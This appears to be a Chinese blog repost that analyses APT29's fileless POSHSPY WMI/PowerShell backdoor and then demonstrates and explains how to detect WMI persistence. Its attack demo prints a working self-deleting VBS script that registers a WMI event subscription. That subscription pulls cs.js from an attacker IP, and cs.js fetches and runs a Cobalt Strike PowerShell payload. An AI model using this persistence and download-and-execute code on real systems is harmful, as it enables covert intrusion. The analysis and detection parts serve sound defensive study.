• WMI后门技术的攻击与检测


    【技术分享】解析APT29的无文件WMI和PowerShell后门

    阅读量261264

    |

    发布时间 : 2017-04-07 15:10:14

    x
    译文声明

    本文是翻译文章,文章来源:fireeye.com

    原文地址:https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html

    译文仅供参考,具体内容表达以及含义原文为准。

    https://p0.ssl.qhimg.com/t01d3c5d4c3697cd02c.jpg

    翻译:興趣使然的小胃

    预估稿费:200RMB

    投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

    一、前言

    安全公司Mandiant观察到APT29使用了一款名为POSHSPY的后门工具。POSHSPY使用了WMI(Windows Management Intrumentation,Windows管理工具)和PowerShell脚本,这也是该组织经常使用的两种工具。在调查过程中,Mandiant发现APT29将POSHSPY作为辅助后门使用,以便在主后门失效后重新夺回目标控制权。

    POSHSPY大量使用了Windows系统的内置功能来实现后门功能,它利用WMI实现后门的存储和本地持久化,不熟悉WMI的人难以发现其踪影;利用PowerShell载荷使得目标系统运行的是合法的进程,只有在增强型日志记录或内存中才能发现恶意代码运行痕迹。该后门活动并不频繁,使用了流量混淆、加密处理以及地理上合法的网站作为C2(command and control,命令控制)服务器,使安全人员难以识别其网络流量。总体而言,POSHSPY的每一个方面都是高效且隐蔽的。

    Mandiant最初在2015年的一次应急响应处置中发现了POSHSPY后门,早期版本的后门使用的是PowerShell脚本。随后,攻击者更新了后门版本,使用WMI来实现本地存储和持久化。在过去两年中,Mandiant在多个场景中都发现过APT29组织使用POSHSPY的痕迹。

    我们最早在一次演讲中讨论了APT29使用该后门的一些情况。读者可以参考幻灯片演讲视频来回顾之前的分析内容。

    二、WMI简介

    WMI是从Windows 2000起,在每个Windows系统版本中都会内置的一个管理框架。WMI以本地和远程方式提供了许多管理功能,包括查询系统信息、启动和停止进程以及设置条件触发器。我们可以使用各种工具(比如Windows的WMI命令行工具wmic.exe)或者脚本编程语言(如PowerShell)提供的API接口来访问WMI。Windows系统的WMI数据存储在WMI公共信息模型(common information model,CMI)仓库中,该仓库由“System32wbemRepository”文件夹中的多个文件组成。

    WMI类是WMI的主要结构。WMI类中可以包含方法(代码)以及属性(数据)。具有系统权限的用户可以自定义类或扩展许多默认类的功能。

    在满足特定条件时,我们可以使用WMI永久事件订阅(permanent event subscriptions)机制来触发特定操作。攻击者经常利用这个功能,在系统启动时执行后门程序,完成本地持久化。WMI的事件订阅包含三个核心WMI类:Filter(过滤器)类、Consumer(消费者)类以及FilterToConsumerBinding类。WMI Consumer用来指定要执行的具体操作,包括执行命令、运行脚本、添加日志条目或者发送邮件。WMI Filter用来定义触发Consumer的具体条件,包括系统启动、特定程序执行、特定时间间隔以及其他条件。FilterToConsumerBinding用来将Consumer与Filter关联在一起。创建一个WMI永久事件订阅需要系统的管理员权限。

    我们观察到APT29使用WMI来完成后门的本地持久化并存储PowerShell后门代码。为了存储后门代码,APT29创建了一个新的WMI类,添加了一个文本属性以存储字符串,并将加密base64编码的PowerShell后门存放在该属性中。

    APT29创建了一个WMI事件订阅来运行该后门,其具体内容是通过PowerShell命令,直接从新的WMI属性中读取、加密和执行后门代码。通过这种方法,攻击者可以在系统中安装一个持久性后门,并且不会在系统磁盘上留下任何文件(除了WMI仓库中的文件之外)。这种“无文件”后门技术使得常见的主机分析技术难以识别恶意代码。

    三、POSHSPY的WMI组件

    POSHSPY后门的WMI组件利用一个Filter来定期执行PowerShell脚本。在某个样本中,APT29创建了一个名为BfeOnServiceStartTypeChange的Filter(如图1所示),过滤条件设为每周一、周二、周四、周五以及周六的当地时间上午11:33时各执行一次。

    http://p1.qhimg.com/t015c6c6ef0bba20c82.png

    图1. “BfeOnServiceStartTypeChange“的 WMI查询语言(WMI Query Language,WQL)

    过滤器条件

    “BfeOnServiceStartTypeChange”过滤器绑定到一个CommandLineEventConsumer消费者:WindowsParentalControlsMigration。APT29配置WindowsParentalControlsMigration消费者来静默执行经过base64编码的PowerShell命令,该命令在执行时会提取、解密并执行存储在RacTask类的HiveUploadTask文本属性中的PowerShell后门载荷。图2显示了WindowsParentalControlsMigration消费者所执行的“CommandLineTemplate”命令。

    http://p7.qhimg.com/t01355f79fe06f0d91a.png

    图2. WindowsParentalControlsMigration执行的CommandLineTemplate命令

    从“CommandLineTemplate”命令中提取的PowerShell命令,解码后如图3所示:

    http://p4.qhimg.com/t0132d9ba97773d4971.png

    http://p4.qhimg.com/t01d2a442b84594fe88.png

    图3. 从CommandLineTemplate中提取的解码后的PowerShell代码

    四、POSHSPY的PowerShell组件

    POSHSPY样本的全部代码可以在这里找到。

    POSHSPY后门可以下载并执行PowerShell代码以及Windows可执行文件,该后门包含几个主要功能,包括:

    1、下载PowerShell代码并使用EncodedCommand参数执行该代码。

    http://p8.qhimg.com/t01931316f3b39a94b7.png

    2、将可执行文件写入到“Program Files”目录下随机选择的一个文件夹中,并将可执行文件名改为与所选文件夹相匹配的名称,如果写入失败,则使用系统生成的临时文件名,扩展名为“.exe”。

    http://p8.qhimg.com/t01994dd47156227e28.png

    3、修改下载的每个可执行文件的标准信息时间戳(创建时间、修改时间以及访问时间),以匹配System32目录中随机选择的一个文件的时间戳,创建时间被修改为2013年之前。

    http://p6.qhimg.com/t0126a4f0b9415e6899.png

    4、使用AES和RSA公钥加密算法对木马通讯进行加密。

    http://p3.qhimg.com/t0151cde73f53d1e165.png

    5、利用域名生成算法(Domain Generation Algorithm,DGA),通过域名、子域名、顶级域名(top-level domains,TLDs)、统一资源标识符(Uniform Resource Identifiers,URIs)、文件名和文件扩展名列表,生成C2服务器的URL地址。

    http://p4.qhimg.com/t01f4d642ee1f2c3b8d.png

    6、使用自定义的User Agent字符串,或者使用从urlmon.dll中提取的系统User Agent字符串。

    http://p8.qhimg.com/t01c15d1e0999a26d1c.png

    7、在每个网络连接中使用的都是自定义cookie键值或随机生成的cookie键值。

    https://p0.ssl.qhimg.com/t011666fab7d0bc2fcd.png

    8、按2048字节分段上传数据。

    https://p5.ssl.qhimg.com/t01655f7a552266d34a.png

    9、在上传或下载前,在所有的加密数据前附加一个文件签名头部,文件类型从以下几种类型中随机选择:

    ICO、GIF、JPG、PNG、MP3、BMP

    https://p4.ssl.qhimg.com/t01fa3cadfcffc2f069.png

    本文分析的这个样本使用了11个合法域名,域名的所有者为同一个机构,其地理位置处于受害者附近。这些域名与DGA算法相结合后,可以生成550个不同的C2服务器URL地址。样本的活跃程度较低,使用DGA算法以生成复杂的C2服务器地址,通信数据中添加其他文件类型头部以绕过基于内容的安全审核,种种行为使得安全人员难以通过常规的网络监控技术识别该后门。

    五、总结

    POSHSPY是APT29组织技术能力的一个绝佳样例。通过这种无文件后门技术,攻击者可以构造一个非常独立的后门,并与他们之前的普通后门结合使用,确保在普通后门失效后还能实现对目标的持久性渗透。如果你掌握WMI和PowerShell的相关知识,你不难发现这个后门存在的痕迹。通过在系统中启用并监视增强型PowerShell日志,我们可以捕捉到恶意代码的执行过程,因为使用WMI持久化技术的合法应用非常稀少,我们可以遍历系统环境,快速准确地找到其中的恶意文件。这个后门是我们捕获的几个后门家族中的其中一员,其他的后门包括域名前移后门以及HAMMERTOSS后门。

    六、相关阅读

    这篇文章介绍了如何利用PowerShell日志获取更多信息,提高系统中PowerShell活动的可见性。

    William Ballenthin、Matt Graeber和Claudiu Teodorescu发表的白皮书介绍了与WMI有关的攻击、防御和取证技巧。

    Christopher Glyer和Devon Kerr的演示文档介绍了在Mandiant之前调查工作中发现的与WMI技术有关的其他攻击活动信息。

    FireEye公司的FLARE团队公布了一个WMI仓库解析工具,以便调查人员能够提取内嵌于WMI仓库中的数据,从而识别使用WMI持久化技术的应用。

    WMI后门技术的攻击与检测

    2022年4月25日02:06:05安全文章评论29 views7044字阅读23分28秒阅读模式
    0x01 WMI初认识

    1.1 WMI简介

    WMI是从Windows 2000起,在每个Windows系统版本中都会内置的一个管理框架。该框架由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统。它可以为你提供有关本地或远程计算机状态的信息,并且可以用于配置安全设置,例如系统属性,用户组,调度进程或禁用错误日志记录。

    1.2 WMI体系结构

    首先是WMI使用者,比如脚本或者其他用到WMI接口的应用程序,由WMI使用者访问CIM对象管理器WinMgmt(即WMI服务),后者再访问CIM(公共信息模型Common Information Model)存储库。

      静态或动态的信息(对象的属性)就保存在CIM库中,同时保存对象的方法。比如启动一个服务,通过执行对象的方法实现,实际上是通过COM技术调用各种dll,最后由dll中封装的API完成请求。WMI是事件驱动的,操作系统、服务、应用程序、设备驱动程序等都可以作为事件源,通过COM接口生成事件通知,WinMgmt捕捉到事件,然后刷新CIM库中的动态信息。这也是为什么WMI服务依赖于EventLog的原因。就像注册表有根键一样,CIM库也有分类,用面向对象的术语描述来来说,叫做命名空间(Name Space)。

       下图为WMI架构图。

    WMI后门技术的攻击与检测

    0x02 WMI持久化后门2.1 概述

    WMI实现后门,是在满足特定条件时,使用WMI永久事件订阅(permanent event subscriptions)机制来触发特定操作。攻击者经常利用这个功能,在系统启动时执行后门程序,完成本地持久化。

    其主要有两个特征:无文件和无进程。其基本原理是:将代码加密存储在WMI中,达到所谓的无文件;当设定的条件满足时,系统将自动启动powershell进程去执行后门程序,当后门程序执行后进程就会消失。

    下图为WMI后门的运行流程图。

    WMI后门技术的攻击与检测

    2.2 优势

    1)可以把WMI当作API来与Windows系统进行交互;

    2)WMI在渗透测试中的价值在于它不需要下载和安装,因为WMI是Windows系统自带功能,Windows是默认安装了WMI的;

    3)整个运行过程都在计算机内存中发生,除了WMI仓库中的文件之外不会留下任何痕迹;

    4)受信任和频繁使用。系统管理员频繁使用和信任WMI,在企业环境中使用WMI非常常见;

    5)作为系统运行。任何永久性WMI事件订阅都作为系统运行,从而使它们更具可信度;

    6)容易触发。几乎每个操作系统动作都可以触发WMI事件,从而使其与操作系统动作结合使用非常容易。

    2.3 不足

    wmi后门的唯一不足就是创建WMI永久事件订阅需要管理员权限。

    2.4 攻击演示

    1、在攻击机kali中由cs生成ps1后门文件;

    2、将123.vbs恶意脚本放入受害机启动项中,该脚本的任务是创建事件过滤器,捕获账户成功登陆的事件;创建活动脚本事件消费者,捕获到事件后执行远程脚本cs.js,绑定过滤器和消费者;

    3、cs.js脚本是执行远程ps1后门文件,执行完ps1文件后,cs会上线受害机的system权限。

    实验环境:kali(攻击机器)、windows7(受害机器)、cobaltstrike

    (1)cs生成ps后门,在攻击机开放一个web端口,将cs.js和cs.ps1文件放到web目录中,用来后面进行远程调用文件。

    WMI后门技术的攻击与检测

    (2)在启动项中放入vbs脚本。

    WMI后门技术的攻击与检测

    (3)受害机重启,可以看到123.vbs文件已经加载进WMI中。

    WMI后门技术的攻击与检测

    (4)再次重启,123.vbs脚本会检查启动事件,一旦检测到就会执行我们所创建的事件消费者,执行远程cs.js脚本,该脚本会使用powershell执行远程我们所创建的ps1后门文件,cs成功上线受害机的system权限。

    WMI后门技术的攻击与检测

    附攻击代码

    123.vbs

     
    1. nslink="winmgmts:\.rootsubscription:" '每5秒查询一次“实例创建事件”'qstr="select * from __InstanceCreationEvent within 5 "qstr=qstr&"where targetinstance isa 'win32_NTLogEvent' and " '实例名是win32_NTLogEvent'qstr=qstr&"targetinstance.EventCode='4624' "
      '创建事件过滤器'set evtflt=getobject(nslink&"__EventFilter").spawninstance_ evtflt.name="filtP1"           '定义过滤器的名字'            evtflt.EventNameSpace="rootcimv2"evtflt.query=qstr '定义查询语句'evtflt.querylanguage="wql"         '定义查询语言(只能是wql)'set fltpath=evtflt.put_            '注册过滤器,返回其链接'
      '创建“活动脚本事件消费者”'set asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_ asec.name="consP1" '定义消费者的名字'asec.scriptingengine="JScript"    '定义脚本语言'                                      asec.ScriptText="GetObject(""script:http://192.168.146.136:80/cs.js "")"set asecpath=asec.put_        '注册消费者,返回其链接'                                          
      '创建过滤器和消费者的绑定'set fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_ fcbnd.filter=fltpath.path '指定过滤器'fcbnd.consumer=asecpath.path '指定消费者'fcbnd.put_ '执行绑定'dim fsoset fso = CreateObject("Scripting.FileSystemObject")evilname=left(wscript.scriptfullname,instrrev(wscript.scriptfullname,""))evilname=evilname& fso.GetFile(Wscript.scriptfullname).namefso.DeleteFile(evilname)  'vbs删除自己'

    cs.js代码,执行远程ps1后门

     
    1. <?xml version="1.0"?><package><component id="testCalc"><script language="JScript">var r = new ActiveXObject("WScript.Shell").Run("powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://192.168.146.136/cs.ps1')");</script></component></package>
    0x03 WMI后门检测及清理要实现WMI后门的检测和清理,就必须了解WMIC是如何创建一个事件以及多用途下WMI事件的关键性检测(触发)点。

    3.1 WIMC创建事件

    (1)创建名为test的过滤器事件
     
    1. wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter CREATE Name="test", EventNameSpace="rootcimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    WMI后门技术的攻击与检测

    (2)查看命名空间内存在的过滤器

     
    1. wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter GET __RELPATH /FORMAT:list

    WMI后门技术的攻击与检测

    (3)创建实例

     
    1. wmic /NAMESPACE:"\rootsubscription" PATH CommandLineEventConsumer CREATE Name="test", ExecutablePath="C:WindowsSystem32calc.exe",CommandLineTemplate=" C:WindowsSystem32calc.exe"
    WMI后门技术的攻击与检测(4)绑定过滤器和使用者
     
    1. wmic /NAMESPACE:"\rootsubscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="test"", Consumer="CommandLineEventConsumer.Name="test""

    WMI后门技术的攻击与检测

    3.2 多用途下WMI事件的关键性检测(触发)点

    (1)攻击者使用WMI做持久化时

    __EventFilter、__EventConsumer和__FilterToConsumerBinding的实例会被创建。一个__InstanceCreationEvent事件被触发。

    (2)当WMI被用做C2时

    __Namespace对象实例会被创建和修改,结果是__NamespaceCreationEvent和__NamespaceModificationEvent事件被触发。

    (3)通过WMI类存储数据时

    __ClassCreationEvent事件被触发。

    (4)攻击者安装WMI提供者时

    一个__Provider类的实例被创建,__InstanceCreationEvent事件被触发。

    (5)攻击者使用开始菜单或注册表做持久化时

    一个Win32_StartupCommand类的实例被创建,__InstanceCreationEvent事件被触发。

    (6)攻击者使用其它注册表值做持久化时

    RegistrykeyChangeEvent或RegistryValueChangeEvent事件被触发。

    (7)当攻击者安装服务时

    一个Win32_Service实例被创建,__InstanceCreationEvent事件被触发。

    3.3 WMI后门检测

    在PowerShell中,可以使用Get-WMIObject查看WMI中事件筛选器绑定的事件使用者。

     
    1. #List Event FiltersGet-WMIObject -Namespace rootSubscription -Class __EventFilter
    WMI后门技术的攻击与检测
     
    1. #List Event ConsumersGet-WMIObject -Namespace rootSubscription -Class __EventConsumer
    WMI后门技术的攻击与检测
     
    1. #List Event BindingsGet-WMIObject -Namespace rootSubscription -Class __FilterToConsumerBinding
    WMI后门技术的攻击与检测通过此方式可以去筛选正常和异常的事件,然后对异常的事件进行标记。3.4 WMI后门清除

    WMI后门的清除主要还是清除创建的对应的恶意的消费者事件,我们首先需要去排查WMI标准的使用者类里面是否存在异常的消费者事件,找到后进行删除即可。

    关于如何去获取WMI存在哪些常用的类,或者说一个命名空间存在哪些类,下面介绍了两种方法。

    a. WMI标准使用者类以及对应的使用方法如下(https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/wmi-start-page):WMI后门技术的攻击与检测b. 判断WMI的一个命名空间里面存在哪些类,可以用相关工具(https://www.microsoft.com/en-us/download/confirmation.aspx?id=8572),如下rootsubscription存在如下类:WMI后门技术的攻击与检测

    总结起来说:列出WMI命名空间标准类、枚举标准类里面的消费者事件、判断消费者事件是否异常、删除异常事件。

    WMI后门清除可以使用Get-WMIObject手动清除,也可以运行清除脚本实现自动化清除。

    1)使用Get-WMIObject手动清除

     
    1. #Filter(删除对应Name的Filter)Get-WMIObject -Namespace rootSubscription -Class __EventFilter -Filter "Name='Name'" | Remove-WmiObject -Verbose
      #Consumer(删除对应Name和__CLASS 的Consumer)Get-WMIObject -Namespace rootSubscription -Class __CLASS -Filter "Name='Name'" | Remove-WmiObject -Verbose
      #Binding(删除对应Name的Binding)Get-WMIObject -Namespace rootSubscription -Class __FilterToConsumerBinding -Filter "__Path LIKE ‘%Name%'" | Remove-WmiObject -Verbose

      (2)运行清除脚本实现自动化清除

    当运行后一个持久化的脚本后,我们用autoruns可以查看到存在如下相关事件

    WMI后门技术的攻击与检测

    运行我们的清除脚本后,事件会成功删除:

    WMI后门技术的攻击与检测WMI后门技术的攻击与检测因为前面vbs脚本创建的类为ActiveScriptEventConsumer,创建的消费者名为consP1,因此对应清除的delete_WMI.ps1脚本内如下:
     
    1. get-wmiobject -namespace rootsubscription -class __filtertoconsumerbinding -filter "__path like '%consP1%'" | remove-wmiobjectget-wmiobject -namespace rootsubscription -class __eventfilter -filter "name= 'filtP1'" |remove-wmiobjectget-wmiobject -namespace rootsubscription -class ActiveScriptEventConsumer -filter "name='consP1'" | remove-wmiobjectwrite-host "success"

    0x04 总结

           从笔者了解的情况来看,其实国内外的安全防护的侧重点是有很大区别的,国内由于这几年网络安全的大环境,渐渐从互联网防护走向了局域网的防护,虽说局域网内已开始有防护,但是还是相对薄弱。而对于入侵检测来说,Windows的工作会比Linux更棘手。安全研究人员会优先考虑安全,业务人员会优先考虑性能,所以在Windows的入侵检测这一块的行为检测注定要做牺牲。

    再来回顾这次的实验过程,其实攻击的过程中很多都是可以做检测的:

    1、可以监控VBS脚本的行为;

    2、可以检测创建的消费者事件,去提取并判定是否恶意的消费者事件;

    3、像此次实验中最终还是一个powershell无文件落地上线cs,所以监测powershell去远程加载的接口,然后进行拦截;

    4、去监控最终执行或加载的文件,若是恶意的则将其拦截。

    当然上面的这些防御从攻击过程进行拦截,是能解决很多入侵问题。但攻防终归是此消彼长,道高一尺、魔高一丈,你有防御,攻击者就有bypass,且不说对抗类的研究分析工作很难,就单单是一个正常的攻击事件后的人工应急排查自动化就让人头疼,自动化的应急排查真的有点让人望而却步了,抛开各类攻击事件的原理,对于自动化的排查笔者有一些思考:

    1、根据ATT&CK的防御来说,更多的要做一个联动检测。系统权限维持(后门)的方式有很多种,我们无法穷举并分析出每一种权限维持的方法和特征,单独拿出某一个特征来进行检测务必会有很多漏报误报,这个时候如果关联他的上一步操作和下一步的操作来进行综合研判,就会相对更为准确;

    2、配合大数据中心和威胁情报中心来做。无论是大数据还是说威胁情报中心,这些入侵的检测还是会存在一定的“滞后”,但是从另一个层面来说能很大的提高准确性。拿系统后门举例,如果存在系统远控后门,那必然该进程会有一个对外的TCP连接,对外TCP连接的IP地址我们是可以轻松拿到的,如果我们的大数据中心和威胁情报中心能够识别出IP是否恶意,那就能为我们的自动化研判提供了一大有力凭证。

    火线云XDR平台入侵检测解决方案,支持对此类的后门事件以及类似的反弹shell、提权检测进行检测和处置,欢迎大家一起交流学习。

  • 相关阅读:
    [转]ASP.NET会话(Session)保存模式
    ASP.NET 2.0 实现伪静态网页方法
    显示带颜色的字符串
    sublime text 3.0使用
    sublime text插件
    cogs1715 动态逆序对
    双网卡bond
    解决CentOS6不能使用yum源
    查看磁盘io占用
    [office] 在word中的小技巧
  • 原文地址:https://www.cnblogs.com/bonelee/p/16783371.html
Copyright © 2020-2023  润新知